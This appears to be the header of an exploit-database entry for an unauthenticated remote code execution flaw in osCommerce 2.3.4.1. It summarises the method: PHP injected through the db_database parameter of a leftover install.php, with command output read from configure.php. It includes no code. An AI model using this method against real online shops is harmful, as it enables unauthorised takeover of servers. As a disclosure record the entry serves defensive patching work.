# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.oscommerce.com/
# Version: osCommerce 2.3.4
# Tested on: Windows
